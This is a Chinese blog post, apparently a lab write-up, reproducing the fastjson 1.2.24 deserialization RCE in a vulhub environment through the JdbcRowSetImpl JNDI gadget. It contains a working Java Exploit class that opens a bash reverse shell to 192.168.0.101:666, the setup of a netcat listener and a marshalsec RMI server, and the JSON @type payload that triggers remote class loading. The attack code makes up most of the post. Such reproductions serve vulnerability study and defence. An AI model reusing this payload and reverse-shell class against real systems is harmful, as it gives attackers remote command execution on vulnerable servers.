fastjson反序列化复现

环境

使用vulhub的1.2.24反序列化漏洞环境

漏洞复现

访问环境地址 file 环境正常 本次利用的是jdbcRowSetImpl这个类 fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:

1、类的成员变量我们可以控制;

2、想办法在调用类的某个set\get\is函数的时候造成命令执行。

有一个类jdbcRowSetImpl这个类里边存在一些set方法 其中有一个方法是setAutoCommit

因为传入了autoCommit:true

会进入else 里边有一个connect方法 会调用lookup 参数为datasource (lookup会远程调用datasourcenname)

当dataSourceName为jndi服务 反序列化jdbcRowSetImpl这个类的时候 就会远程加载jndi恶意构造的类 首先先本地监听

nc -l -p 666

然后生成一个反弹shell的恶意类 Exploit.java

public class Exploit {

    public Exploit(){

        try{

            Runtime.getRuntime().exec("/bin/bash -c $@bash 0 echo bash -i >&/dev/tcp/192.168.0.101/666 0>&1");

        }catch(Exception e){

            e.printStackTrace();

        }

    }

    public static void main(String[] argv){

        Exploit e = new Exploit();

    }

}

然后使用javac命令编译生成Exploit.class文件 file 然后在此文件夹中使用python开一个http服务 file file 然后使用工具marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个RMI服务器 端口为9999 file 然后向目标传入

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.101:9999/Exploit",
        "autoCommit":true
    }
}

数据包改成POST file 然后发送数据包 fastjson会调用com.sun.rowset.JdbcRowSetImpl类的set方法 因为autoCommit:true 所以会进入到setAutoCommit中的一个分支 里边的connect会调用lookup方法此方法可以远程加载jndi lookup的参数是传入进去的dataSourceName的值也就是rmi://192.168.0.101:9999/Exploit 然后回调用我们构造好的类 然后就是rce反弹shell file


fastjson反序列化复现
http://example.com/2021/09/08/OldBlog/fastjson反序列化复现/
作者
Autumn
发布于
2021年9月8日
许可协议